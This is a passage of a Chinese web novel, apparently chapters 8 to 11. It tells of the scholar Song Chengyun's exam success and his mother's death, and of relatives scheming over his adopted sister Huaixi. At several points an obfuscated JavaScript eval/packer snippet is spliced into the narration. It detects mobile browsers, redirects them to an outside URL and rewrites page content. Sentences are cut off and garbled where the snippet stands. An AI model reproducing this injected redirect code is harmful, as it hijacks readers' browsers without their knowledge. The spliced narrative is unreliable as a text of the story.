这场面很明显,二房两位姑娘仗着人多势众,欺负大房的养女...... 贾氏婆媳暗地里气恼,当着几位夫人的面,自然不会偏私,忙让身边侍候的妈妈拉住气急败坏的两姐妹,又斥了她们几句。 宋清初平日被娇惯惯了,哪里受得了这委屈。挣脱林妈妈的手,指着怀夕骂道:“是她把我和姐姐按在地上打......不知哪来的小乞丐,有什么资格同我们一起上学。” 即便贾氏有意回护自家孙女,可当下场面,宋清婉主仆四五人,怀夕主仆两人,谁打谁......她立马喝道:“住嘴。这些话你们都是从哪里说来的?我请师傅来交你们,就把你们姐妹教成如今这泼妇样吗?” 怀夕也不争辩,扑在小艾肩上,那些夫人看不到她的脸,可见她发丝凌乱,双肩抽动,似乎哭得不能自已…… 那几位夫人相视看了一眼,其中,族长的儿媳妇罗氏从袖中抽出帕子,走近替怀夕拭泪。 ...... 贾氏婆媳没有错过其他夫人眼里泄露出的一丝鄙夷,顿时有些下不来台。 这两年,宋承云愈发出色。二房自然知道宗族动了心思,想把家主之位还给大房。好在白氏是个好拿捏的,不争不抢,宋承云明面上似乎也无意替她母亲拿回管家权。 可二房到底心虚,宋景湛病逝,大房式微时,宗族转头支持二房。如今他们觉得大房前途无量,难保哪一天就会抛弃他们二房。 贾氏和纪氏小心翼翼讨好着宗族几位长辈夫人,无非想拉拢她们,让她们在几个族老面前多替她们美言几句。刚刚花厅上纪氏才说他们如今和白氏如何亲近,如何像一家人分不开云云,不仅对云哥一视同仁,还把怀夕也视若己出...... 可现下这场面,可不是打脸么。 可明面上还是要过得去,为求补救,贾氏立马叫人把宋清婉和宋清初关到祠堂去闭门思过,又亲自把怀夕扶了起来,轻声细语问着有无不舒服,又叫纪氏亲自把怀夕送回家。 事后,纪氏听到女儿的诉苦后,气得都将手里的帕子都快撕烂。她没想道,怀夕看着痴痴傻傻,竟还被白氏那贱人教得这般有心计。 可当下不得不忍,谁让白氏抬举她,谁让她有个好哥哥呢,纪氏只得明令让两个女儿不得在外欺负辱骂怀夕。 纪氏心想,日子还长着。 即便她不愿意承认,可有眼睛的人都能看出来,宋承云的确不是凡物,这泸州县终究容不下这尊大佛。 但白氏病恹恹,宋承云那人向来是个油盐不进,没有人情味的样子,看他对这个半路出家的妹妹,似乎也无几分优待。待将来白氏一死,怀夕不是又会落到他们手上。 届时,女儿受的委屈,她自然会替她们讨回来。 - 官府为求便利,放榜之后,会让衙役逐一快马到各县,把上榜者的名单交与当地县令。与此同时,名单内知府不乏有知府提前看好的人才,这时会同时派出另一对人马,亲自邀请这些举人们参加鹿鸣宴。 宋家和梁家书院均在浔阳府留有仆人,放榜那日,仆人一早便侯在贡院龙虎墙边,等着榜单张挂。第一时间获知榜上人员后,便快马骑回泸州县。 饶是书院和宋家仆人急马赶回,还是没有快过浔州知府亲自派人送来的捷报。 宋氏宗族一早齐聚宋家祠堂,待门童进来通报外头来了几位衙役后,老族长了然于心,回头看了看祠堂里的排位,立马吩咐要焚香祭祖。 之后,族长带领族亲们亲自来门口迎接衙役。 不管大房还是二房中举,于宗族来说皆是荣耀。 果不其然,衙役满脸笑意,高声诵道:“恭喜宋举人阖家。” 宋举人?宋家可有两位考生。 不待族长开口,贾氏上前一步追问道:“是哪位宋举人,宋承亭?还是宋承云?” 衙役惯来周全,忙说道:“自然是少年天才宋承云了!宋解元大喜,十四岁的解元在我俞楚国可是第一位,前途无限啊!给诸位贺喜了!” 宋承云?解元? 贾氏和二房一家都愣在原地,但族亲们可无暇顾及二房的情绪,赶紧把衙役请了进去,请他们留下用个便饭。 这边衙役不断说着讨喜的话,族人们也从善如流,瓜果不断,又把提前准备好的赏钱又添了大半,全数给了衙役。 - 对宋承云来说,中了解元只是开始,他熟记梁老夫子的教导,谦受益,满招损,毫无自得之心。 君子之为学也,将以成身而备天下国家之用也。这世上的读书人哪个不想出人头地,忠君体国。所以宋承云也难掩喜悦,他离他的梦想又近了一步。 但之后,一切都如平常一般,回到泸州休整了几日,参加一些不得不参加的宴席后,宋承云仍回到梁家书院进学。 梁老夫子教导宋承云多年,时常觉得惊奇。他从未遇到如此天资聪慧之人,不说他过目不忘的本事,年纪轻轻,未入世却对政事极有独到见解。 他闲笔的一篇《论时政疏》,他初见后可谓是头发发麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878898|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心神震荡。于是,他把这篇疏文抄录了一本,寄给挚友共同拜读。 挚友对这篇《论时政疏》更是如获至宝般,感叹此人对当下时政有如此清晰的认识,有如此直达本质的目光。后来得知写出此文的人是他的学生,又年仅十四岁便高中解元,之后常常在信中询问此子。 梁老夫子年岁渐长,对教导宋承云已经开始力不从心了。 这日,梁老夫子收到京城的来信。 信中,挚友说愿意以梁老夫子终身所求一奇书,换他将学生割爱,询问梁老夫子意愿。 梁老夫子知道,割爱自然是戏言。挚友会出其言论,是他先表明自己教导这个学生有些有心无力。 且泸州县毕竟是个小地方,承云这样的学生,在这里是凤毛麟角。但京城里满腹经纶,学富五车的人比比皆是。与凤凰同飞,必是俊鸟,他觉得宋承云该去京城看看。 再说,后年便是三年一次的春闱,他不遗余力地想为这蛟龙腾飞再借些东风。 于是,梁老夫子把宋承云叫来,前因后果说明之后,问他愿不愿提前进京,入金陵城最负盛名的清河书院,拜入王澜伯门下。 王澜伯何人? ——梁老夫子此生挚友,前帝师。任翰林学士之首,辅佐君王出谋划策,典管书记,桃李满天下,深得帝恩。 王澜伯在信中说,他如今虽年逾古稀,可身子骨还硬朗得很,若宋承云愿意,他便收他作为最后的入室弟子。 要知道清和书院,便是皇亲国戚也要凭真本事进去,能入书院,便代表着官途已经敞亮了一半。 更难得的是,王帝师这般诚意,才叫人动容。 只是宋承云听后,却没有梁夫子预想中的那般欣喜。 宋承云这般平静,反而将梁老夫子衬得不那么稳重,使得梁老夫子尴尬地抚了抚蓄了几十年的白须。 不过,他对这个得意门生也算了解。虽为人冷淡些,可胸有沟壑,应能明白此时上京的不易与好处,除非…… 于是,梁老夫子问道:“伯卿可是有什么难处?” 宋承云从座上起身,拱手做了个揖:“伯卿多谢夫子好意和王帝师的赏识。只是家母缠绵病榻,家中只有一年幼妹妹在照顾,若伯卿此时入京,恐妹妹不能周全。届时伯卿心系家中,无法专注进学,恐让您二老失望。” 宋承云并不是推脱,白氏冬日里受了寒,加上肺疾多年,这次风寒之后,一直卧床不见好转。至今,已有数月了。 自白氏缠绵病榻后,宋承云每隔两三日就回一趟宅子。只是白氏每见到他回来,反而更加忧心忡忡,唯恐自己耽误他的学业。宋承云无奈之下,只好吩咐松毫回家中帮忙,每日将母亲的情况告知于他。 好在有怀夕日日守在白氏身边,侍候汤药,陪白氏说话,把家里料理得井井有条,让宋承云放心了不少。 梁老夫子听完宋承云一番解释后,倒也没有再说什么,只是让他再仔细想想。 人间至德忠和孝,孝道乃人立身之本,原本梁老夫子还想着,伯卿入京,若放心不下家中亲人,可带家人一同前去。可如今他母亲经不得腾挪,此事,也只好先作罢了。 9. 第 9 章 宋承云从梁老夫子院中出来后,便直接打马回了家。 早春柔雨绵绵,宋承云未戴斗笠蓑衣,到家时,身上都蒙了一层雨丝,眉眼也似染上薄雾。 前两年怀夕不知在哪挖了一株梨花苗回来载在院中,如今已长成,一簇簇雪白绽放在枝头。 春雨温柔,梨花未曾被打落,雨水点缀花间,更显梨花雪白剔透。 怀夕手里挎了小篮子,刚打好伞,便看到宋承云踏入院内。 “哥哥,你不是明日回来么?”怀夕有些惊喜,小跑过去,走近一看,才发现宋承云肩上覆着一层湿润。 “哥哥的斗篷呢?”怀夕虽这两年长高了不少,可仍只到宋承云肩头,掏出袖子垫着脚,拭去雨丝。 “路上才下的雨,来不及换上蓑衣,无妨。”宋承云随手接过怀夕的帕子,自己擦了擦。 “去哪里?”见怀夕挎着小竹篮,宋承云问道。 “去门外摘些桃花瓣。娘亲今日难得精神好,说想吃桃花羹。不过,娘亲刚刚又睡下了,哥哥先去更衣吧......”怀夕眉眼间难掩笑意,母亲近来胃口不佳,难得今日有想吃的东西,她心里轻快几分。 “走吧,既然湿了,我替你打伞。”宋承云接到她的伞。 怀夕也不推辞,乖巧应道“也好,多谢哥哥。” 有了宋承云的帮忙,怀夕很快就摘满一篮桃花瓣。 两人回到廊下,怀夕身上仍然干爽,宋承云却愈发湿透。 怀夕也发现,知道宋承云向来爱干净,忙喊了声松豪。 松毫正在厨房帮着看火,听到怀夕的声音,探出头。 怀夕声音清亮:“小艾,你帮松毫看着点火。松毫,你快些去帮哥哥更衣,免得哥哥着凉了。” “知道了姑娘。”小艾笑着应道。 松毫顺势在一旁的水井净了手,便小跑着去取宋承云的衣物。 看着怀夕三言两语便将他们都安排好,自己拎着那篮子花进了厨房,宋承云转身也回了屋。 - 晚膳做好之后,怀夕来到白氏房里,轻轻把她唤醒。 白氏小睡了一会,精神还算不错,听到宋承云已经回来,脸上笑意更多了几分。 原本怀夕想把饭端到她屋里来吃,可白氏却说今日想摆到外间吃。怀夕没有多想,只以为娘亲病情有所好转,开心应下,到屋外吩咐他们把膳食摆好,母子三人难得一起围桌吃了个饭。 饭桌上,怀夕专门挑了那日上集市的几件趣事讲,把白氏逗得开怀大笑。 宋承云如同往日那般,静静地听着母亲和妹妹说话,偶尔浅浅一笑,可白氏还是敏锐发现宋承云有些不对劲。 怀夕说了好一会话,转头见宋承云跟前的桃花羹一口未动,有些惊讶,“哥哥可是累了?” 白氏无声叹了口气,却也只是温和说道:“这桃花羹是你妹妹亲手做的,知道你不喜,特意少放糖,你尝一尝吧。” 怀夕凑近白氏,看着宋承云,渴望被赞赏的表情,娇娇的不行。 宋承云端起瓷碗,舀了一勺,在眼前母女期待的眼神下点头:“不错,桃花香气浓郁,又不失清甜。” 膳后,白氏留下宋承云,怀夕则回去洗簌。 月亮的辉泽洒满了整个院子,雨势稍歇,屋内一片静默。许妈妈将油灯点上,又在炭盆里添了几块炭,将门轻轻带上便离开了。 宋承云看着炭盆里往外扑腾的红色火焰,垂着眼,不知在想写什么。听到白氏唤他,他抬起眼,眼里映着火苗荡漾。 知子莫若母,白氏看着儿子晚膳时的异样,也知道儿子大概是猜到她的状况了。 病了这大半年,今日却忽然有了精神,还能起来走动。 也就是女儿天真烂漫,才相信她是病愈了。 宋承云遍读经书,受儒家之训,明白“死生有命”。可是此刻,卧床已久的母亲突然精神抖擞地坐在自己面前,宋承云发现他无法很坦然去面对眼前这位予他生命,哺育他,保护他,教导他成人的母亲可能会离去。 他拿出桌边的茶盏,捧给白氏,“母亲特意将妹妹支开,是有何嘱咐?” 他语气听着与往前一样,温和沉稳。 母子多年,白氏总能发现他有些许异样,但有些话,只能趁她如今还能说的时候,赶紧说。 “云儿,能同你有这一世母子缘分,是母亲修来的福气,母亲以你为荣。” 母亲话里已有了诀别之意,宋承云乌黑坚定的双眸里有了一丝裂缝。他拉起白氏的手,假作寻常,“梁夫子说近日有位云游的神医在县上落了脚,云儿明日便去寻来替母亲看病,母亲且放宽心……” “母亲累了…”白氏难得打断他:“云儿,你明白的,生死由命,母亲的命数尽了。” “母亲不怕死,只是愧对你与夕儿,终究无法长久陪着你们。”白氏拭了拭眼角的泪,“母亲怕是无法看到你成家,也无法看着夕儿及笈出嫁了。” 看着白氏说话带着喘气,宋承云替她顺了顺背,担忧道:“母亲,有什么话明日再说,儿子先扶您躺下吧。”到了此刻,宋承云黯然的脸庞上难掩凄然之色。 白氏摇了摇头,拍了拍他的手以作安抚。 “你自小便能独当一面,只是性子终究冷淡了些,将来娶妻,可不能同现在这般寡言少语。”白氏轻轻笑了笑,“女子终是要哄的。还有夕儿,母亲如今最放心不下她。” 怀夕心性赤诚纯净,可对是非黑白和世事人情,像是天生少了根筋。若将来遇上了良人,自然是最好的。可若所遇非人,哄骗欺负她。届时没有她护着,她终究不能放心。 儿子向来淡漠,未来赶考之路还长,他将来能不能顾得上夕儿? 可若不把夕儿交给儿子照顾,那能交给谁呢? 婆母?二房?宗族? 都不可以。 这些人一个个虎视眈眈想等着在他们身上咬下一口肉,若把怀夕交予他们,眼下他们自然百般乐意。毕竟夕儿名义上还是云儿的妹妹,他们想多拿些筹码在手上,好将云儿与宋家彻底绑住。 可这么多年来,二房明里暗里对夕儿多有鄙夷,把夕儿交给他们,无异于是送羊入虎口。 思来想去,能叫她放心的,只有自己的儿子。 白氏爱子之心拳拳,细细地斟酌言语,“母亲接下来要说的,或许你会有些为难。只是母亲还是想请求你,若母亲不在,别把你妹妹单独留在这泸州县……” “等过几年,夕儿及笈之后,你替母亲,好好为她择个夫婿。钱财不重要,她心思单纯,要配个人品贵重,眼里心里都只有她的,母亲也就放心了。你说是不是?” 这种时候,白氏说什么宋承云都会答应她的,何况他心里也早已认下怀夕这个妹妹。 “母亲放心,我明白的。” …… 白氏说了一会后又咳了起来,宋承云喂她喝了一小碗药便把她安抚睡下。 屋外细雨不知何时又开始窸窣下起来,满天的雾气弥漫,青石板路光滑湿亮,树叶上偶尔滴下几滴水珠,在空阔夜色里显得有些寂寥。 熟悉的廊道,宋承云却觉得每走一步都十分沉重。 松毫安静地跟在宋承云身后,大约知道公子在忧心什么,也不敢开口,亦步亦趋走到走廊尽头,却见自家公子顿住脚步。 往右便是公子的青朴轩,公子的目光却看向左侧的花锦小院。 不待细问,松毫就听到一阵无忧无虑的笑闹声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878899|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好小艾,我就再吃一碗桃花羹......” “你看,我肚子都饿扁了……” 清亮的,柔软的嗓音不停地漾开来,打破一汪静谧夜色。 仿佛只是一瞬间迷了路,眼中云雾似被拨开,宋承云转身步入青朴轩。 - 隔日,白氏果然如同之前一般,连床都起不来,还咳出了几点嫣红。 许妈妈见白氏脸色隐隐发青,急忙叫碧儿去请大夫,又立刻把两位小主子请到院里来。 怀夕走到白氏床前,一见到白氏的模样,眼泪便止不住落下。 之前她见过类似情状的,静业寺的老师太也是这般,面容苍白躺在床上,然后,平日慈祥看着她的眼睛再也没睁开过…… 怀夕抹了抹眼泪,跪坐在床边踏板,拉起白氏的手,勉强挤出娘亲喜欢的小梨涡,“娘亲快些起来,您昨日答应我,今日要去十芳斋给夕儿买糕点吃的。” 明明昨日娘亲还有力气将她她搂在怀里,与她说笑。怎么就过了一夜,就成了这幅模样。就像就像夏日的蝶,风雨一来便蔫在地上,再怎么把它放回屋里,遮雨蔽日都无用。 许妈妈引着吕大夫小跑着进来,怀夕被宋承云轻拉起到身旁。 吕大夫顾不得将身上的药箱放好,急忙走到床前,搭了两指在白氏脉上,眉头紧皱,又翻了翻白氏的眼睛,而后便摇了摇头。 “夫人已是病入膏肓,如今老夫也只能替夫人施针提气,有什么话,宋举人抓紧说吧……” 饶是心里有了准备,宋承云听到吕大夫的话,心还是沉了又沉。可他不像身旁的妹妹那般,淅淅沥沥下着泪。 宋承云向吕大夫行了个大礼,“烦请吕大夫再尽力施救。” 吕大夫叹了口气,还是点头,一旁的药童铺开他的银针。 施针不过一炷香,白氏眼皮微微颤动,有转醒的痕迹。 见状,吕大夫对宋承云说道:“大概也就一炷香的世间,宋举人抓紧吧。”而后便拿着药箱从床边退了出来。 怀夕一直蹲守在床前,见白氏醒来,连忙扑进其怀里。“娘亲,你醒了。” 怀夕吸了吸鼻子,欲掩饰浓厚的哭声。 白氏缓慢无力地睁开双眼,好一阵子才看清床前的一对儿女。 女儿脸上尽是泪痕,连平日喜形不于色的儿子眼尾处也是通红,白氏心疼如绞。 “别哭,夕儿。”白氏有些吃力地抬起手,抚摸着怀夕的脸颊,“夕儿答应过娘亲,会好好照顾自己,照顾哥哥,不会让娘亲担心的,对吗?” 怀夕哭咽着,啜泣声不止,“夕儿长大了,会很乖,会听娘亲和哥哥的话,娘亲不要离开夕儿……” “夕儿还没见过你父亲,你父亲若是见到你,也会很喜欢你的。”白氏微微抬手,宋承云便牵了上去。 白氏看着眉眼间有两分同丈夫相似的儿子,嘴角露出一抹温柔的浅笑,“娘亲很想念你父亲,很想……”她用尽力气伸出手替怀夕拭泪,“夕儿乖,替娘亲好好陪着哥哥,好吗?” 宋承云尽力忍耐眼里的温热,可手上绷起的青筋昭示着他不平静的内心。 白氏不舍地看着两个孩子,看着内敛静默的儿子留下泪,她吞下喉间涌起的腥味,有些艰涩地说道:“娘亲昨夜同你说的,你可记得?” “儿子记得。”一说话,宋承云就泄了气,眼角的泪灼烫滚落。 白氏的眼睛缓缓闭上,嘴上喃喃着:“那就好…那就好…” 院外的花朵在一夜的风雨摧残中落了满地,厨房的药壶还在喷着气。 丫鬟们在外间跪了一地,哭成泪人。 “娘亲……” “娘亲……” ...... 10. 第 10 章 宋承云同书院告假料理母亲的后事,期间梁老夫子带着书院的学生来吊唁祭拜,也第一次见到宋承云口中的妹妹。 梁老夫子的妻子同贾氏多有来往,对怀夕的身世来历有所耳闻。只是她都没曾想,宋承云对他这个妹妹,这般看重。 不过小姑娘倒是个记恩的,听闻白氏去世后,她滴水不进,还在灵堂哭晕了过去,真是情深意重,梁老夫子夫妇不由得也对她高看了两眼。 前前后后二十几日,宋承云兄妹才料理完白氏的后事。 期间梁老夫子又来了一趟,来了之后被宋承云请到青朴轩,怀夕也不知道他们说了什么。 见怀夕原本肉乎乎的小脸明显瘦削一圈,许妈妈这几日变着花样给怀夕做吃食。 若是平日,怀夕最喜欢这些新鲜吃食,可如今若不是宋承云看着,怀夕可能都吃不了几口。 怀夕不肯听话,宋承云也拿她没有办法,只能每日来回于家与书院,亲自看着她。 这日宋承云离开后,二房那边便遣了丫鬟过来请怀夕过去,说是老太君有话同她讲。 怀夕去了之后,才发现贾氏院里很是热闹,不仅有二婶娘纪氏,宋清婉和宋清初两姐妹,族里的几个伯娘婆太也都在。 纪氏一见到怀夕,立马从座上朝她走了过来,十分亲热地将她拉到身旁。 怀夕下意识地想躲,又想到娘亲从前说的话,僵硬地止住后退的动作。 纪氏像是没看到怀夕的抗拒,抚着她的发髻,似是心疼地说道:“这孩子比从前瘦了一大圈,大嫂嫂不在,承云又在书院进学,母亲,我看还是把怀夕接过二房来养吧,有姐姐妹妹陪着,心里就不会难过了......” 堂上七言八语,几个伯娘也跟着说道:“终究是女孩子,还是要细心教导着,我看弟妹把婉儿和初儿便养得极好。” 宋清婉明姐妹在长辈的夸奖中笑着低着头,颇为识礼的模样,叫堂上的长辈又点着头好一顿夸。 怀夕低头看着一直被二婶娘牵在手里的手,有些不明所以。 二婶娘对自己从不曾这般温和...... 待纪氏捏了捏怀夕的手,提醒她贾氏说了什么,她还有些发愣。 贾氏见她似乎才回神,也没怪她,一脸慈祥地重复一遍:“你哥哥不日便要去金陵城进学了,祖母把你接到主宅,让姐姐妹妹天天陪着你,你可愿意?” 旁边的人在附和着说话,怀夕却一句话也没听进脑海里,只是下意识重复道:“哥哥要去金陵?” 纪氏点头,“你不知道吗?承云不日就要去清和书院,那可是金陵城最负盛名的书院…….” 哥哥要去金陵? 春闱在两年后,不是两年后才离开这里吗? 如今就要去?什么时候去? 哥哥并没有同她说过…… 后面的话迷迷糊糊的没听清楚,怀夕见贾氏脸色似乎不太好,周围嗡嗡的,她觉得头痛,只想离开这里。 可手臂被纪氏拉着,有人不住地问她愿不愿意。 最后她什么都不知道,只是胡乱地点了点头。 纪氏要到满意的答案,便也没强留着她,只在转身之际把眼里的鄙夷藏个干净。 - 橘黄色的夕阳西斜,宋承云踏着最后的光影进了院子。只是没走几步,便察觉有些异样。 ——正院里虽亮着灯,可屋里却安静的很,不见往日的说话声。 许妈妈听到声音,从屋里开门迎了上来,“公子回来了?” 宋承云点头,示意松毫先把书筪送回青朴轩,问道:“姑娘呢?” “在屋里呢,奴婢去唤姑娘出来用膳。” “等等。”宋承云叫住许妈妈,“我有话同妈妈说。” 许妈妈愣了愣,跟着宋承云进了正屋。 食桌前摆着几道菜,都是怀夕爱吃的样式,宋承云坐在正位,眉头皱了皱。 小艾低着头,一字一句将怀夕说的话复述,“姑娘说午膳吃撑了,肚子不舒服,就不出来陪公子用膳了。” “可请了大夫?” “姑娘说不妨事,睡一觉便好了,让公子不必担心。”想着屋里蔫蔫的姑娘,小艾欲言又止。 只是没等她想好如何说辞,宋承云便开口了。 “恩,下去吧。” 小艾只敢在心里叹了口气,姑娘因公子不高兴,也轮不到她来说嘴呀...... 刚转身,身后又传来宋承云清凌凌的声音,“夜里多看顾着些。” “是。” - 怀夕自小嗜睡,可谓是沾床必睡。可夜里却罕见地瞧了一夜的纱帐,堪堪天明时才睡了过去。 待她再睁开眼时,已是日上三竿。 自从白氏去世后,宋承云每日起早贪黑,来回书院。许妈妈见怀夕这段时间太过伤心憔悴,也不拘着她,怀夕常常睡到自然醒。 穿衣洗簌完,怀夕照例来到母亲院里的花厅用早膳。只是今日一进花厅,发现这阵子从未在白日见到的宋承云竟坐在桌边,手里捏着书。 对了,今日是端午,昨日她还在门外挂艾草来着…… 怀夕回头看了小艾一眼,怨怪她没有提醒自己哥哥在家,否则她就不出来了...... 桌上的膳食还未动,几颗青油油的小粽子放在中间。 怀夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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怀夕愣了愣,很快就反应过来这是昨夜里自己撒谎的借口,便含糊地应了句,“已经好了。” 见她夹着艾饼吃,宋承云提醒道:“你脾胃弱,艾饼不好运化,只尝一个,莫要贪嘴。” 怀夕心里正称赞许妈妈的手艺,听到宋承云这般说,立马更不高兴了。 既然要走,还管这么多作甚。 宋承云又说道:“今日你同我一起去主院。” 今日便要将她送走了是吗? 怀夕恹恹应好,之后装作夹菜,咬了咬唇,拼命抵御眼底的温热, 11. 第 11 章 门房一看到宋承云,立马小跑着过来哈腰请安,将他们引进去。 怀夕自从小宅子出来后,一直垂着眸安静地跟在宋承云身上。 宋承云几次想开口,可看着怀夕如同刚经过烈日暴晒的娇花,蔫蔫的提不起劲,又作罢。 进到院中,管事说老爷请二公子到书房商议要事。宋承云其实还请了宗族里几位有声望的叔伯前来,只是他们还未到。 宋承云看了一眼怀夕,“你在外面等一等,待我出来后再一同去拜见祖母吧。” 见二公子似乎有些放心不下五姑娘,管事的当着宋承云的面吩咐底下的人先领着怀夕到里头园子里赏花扑蝶。 宋承云见怀夕没有拒绝,才提步跟着管事往书房去。 怀夕带着小艾来到园子里,管事还算周全,叫人在凉亭里上了糕点,只是怀夕当下连看一眼的心情都没有。 小艾昨日虽陪怀夕来过,但怀夕被带进院子时,小艾被拦住外面,所以也不知道里头到底说了什么,只知道姑娘出来后就一直心不在焉,明显是受委屈了。 从前姑娘就算被二房的姑娘和公子欺负,也会想着法子欺负回去,哪里像这两日这样。小艾隐约知道,昨日的事定与二公子相关,不然姑娘怎么从昨夜到现在,看都不看二公子一眼,明显在同二公子置气呢。 小艾捻起盘子上的糕点,喂到怀夕嘴边,“姑娘,你吃个百合糕甜甜嘴。” 怀夕单手撑着下颌,有气无力地,往日最馋的东西都送到嘴边,还是躲开,“不想吃,没胃口。你吃吧。” 小艾也不勉强,把糕点放了回去。 “姑娘怎地不高兴了?奴婢看公子有些担心呢……” “他有什么担心的。”怀夕小声嘟囔,“他都想抛下我走了……” “什么?”小艾没听清后面那句话。 怀夕重重叹了口气,这事憋得她实在难受,小艾也不是外人,怀夕正准备同小艾诉苦,耳边便又传来熟悉的声音。 “这不是五妹妹吗?” 是宋承林的声音。 对怀夕来说,宋承林就是个小魔王,虽说宋清婉和宋清初也总爱找她麻烦,可也不会总是纠缠不放。 宋承林不一样。 他只比怀夕大一岁,可怀夕觉得他极是狡猾。初见面时就对她使了迷魂计,假作对她友好,让她放松警惕,使得怀夕后来吃了他不少亏。 怀夕刚被白氏接回来时,那时贾氏和二房其他人都不喜欢她。不久,白氏带着她们兄妹搬到隔壁的小宅子住,怀夕贪玩,总爱在门口瞎捣鼓。 那时宋承林常常来找她玩,还偷偷带了好多怀夕没吃过的吃食给她。所以,怀夕也曾真心诚意喊他四哥哥。 可不知道哪一天开始,宋承林便揭开了羊外衣,露出豺狼本色。 他跟着宋清婉姐妹一同喊她小乞丐,故意把吃食扔地上骗她捡着吃……极尽欺负挤兑之能事。 怀夕自然也不是什么善茬,被欺负狠了,气性来了,也曾扑倒宋承林,把他压在身上挠咬得伤痕累累。 后来两人年岁渐长,宋承林身体抽长得飞快,又壮实无比,怀夕就再也打不过他了。 打不过她就躲,只是免不了口舌往来,两人结下了深深的梁子。 怀夕看到宋承林同两姐妹一同朝她的方向走来,重重叹了口气。 今日是犯了哪路神仙,怎地运势这般差。 那边,姐弟几人还没注意到怀夕在亭子里。他们刚得到婆子的消息,说是二哥哥宋承云过来了,祖母叫他们到寿芳院有事吩咐。 昨日怀夕来时,宋清婉姐妹也在场,所以她们大约知道叫她们过来是要说什么。 宋清初是家中最小的姑娘,平日纪氏纵着,因此她性子十分骄横。想到祖母要说的事,她忍不住对着哥哥姐姐埋怨起来,“听说隔壁那小乞丐过几日就要搬回主院来同我们做姐妹了?” 宋承林还不知道家中安排,听到这话愣了一下。 怀夕要搬来与他们同住? 宋承林转头看向自己妹妹,“什么意思?” “哥哥还不知道么?”宋清初搅着帕子,“小乞丐有个争气的哥哥,这不一下子山鸡变凤凰,母亲说要认她做女儿,上族谱呢。” “怀夕也来了?”宋清婉语气是十足十的亲近。 “不行。”宋承林下意识说道,开口还要问些什么,就顺着宋清婉的话看向几步之外的亭子。 宋清婉性子不像妹妹宋清初那般急躁,且明年就及笄了,母亲同她仔细地细数认怀夕当姐妹的益处。 虽然不愿意承认,但怀夕这个小乞丐,确实随着宋承云水涨船高了。不过又怎么样呢,母亲说了,将怀夕捏在手里,在这泸州县,她要谈什么婚事谈不得。 宋清初年纪还小,没有姐姐想得远,看到一向与自己同仇敌忾的姐姐转头对怀夕示好,气不打一出来,“怎么?上赶着来我们这,生怕变不了凤凰呢?” 若是平日,怀夕定要将宋清初怼的说不了话,可今日心情郁闷,她不想与她起冲突。 宋清初见状,气势更盛,“我还以为二哥哥极疼爱你,如今看来……” 宋清婉打断宋清初的话,上次在族亲面前被怀夕设计,两姐妹大大失态,差点坏了祖母和母亲的筹划,现在可不能再出什么岔子了。 “妹妹,别乱说了。二哥哥自是疼爱五妹妹的。二哥哥就是怕大伯母去世后怀夕无人照料,今日请了宋家的族亲会上门...”宋清婉嫣然一笑,拉着宋清初往前,“马上我们就是亲姐妹了,化干戈为玉帛吧,以后我们好好相处。” 不知宋清婉哪句话戳到怀夕的软肋,怀夕啪的一下甩开宋清婉的手。可之后也没有别的动作,只是抿着小嘴不说话。 小艾终于知道怀夕在委屈什么,可不知道如何安慰,只是拉了拉怀夕的袖子,哄道:“姑娘,我们去前院等公子吧。” 提到宋承云,怀夕的气反而憋不住,对着宋清婉姐妹说道:“我不来主院,也不当你们的妹妹。” “哥哥爱去哪...便去哪。”怀夕扬着脖颈,丝毫不肯示弱,只是说到最后一句,还是有些磕巴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878901|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋清初嗤笑,“小乞丐就是小乞丐,养不熟的白眼狼......” 宋清婉虽不开口,可也没再喝止宋清初。 而往日欺负怀夕最狠的宋承林,无论她们说什么,都没上去帮腔,就那样呆呆地站在那里看着怀夕,不知道在想些什么。 直到一声咳嗽声传来,才打破几人沉默的对峙。 宋清婉的位置正好看到一行人往他们这里走过来。父亲,大哥哥,二哥哥......对视一瞬,父亲还瞪了她一眼。 宋清婉有些心虚地咽了咽口水,不知道他们在那里站了多久。她撇开宋清初焦急抓她的手,回头剜了亭子外的随从们一眼,责怪他们没有提醒。 其实也不怪随从,他们也不知道廊上什么时候来了人。 这亭子建在水池中央,西边和南边各一条步廊连接,只有南边这条步廊才能将整个水池风光揽入眼下。 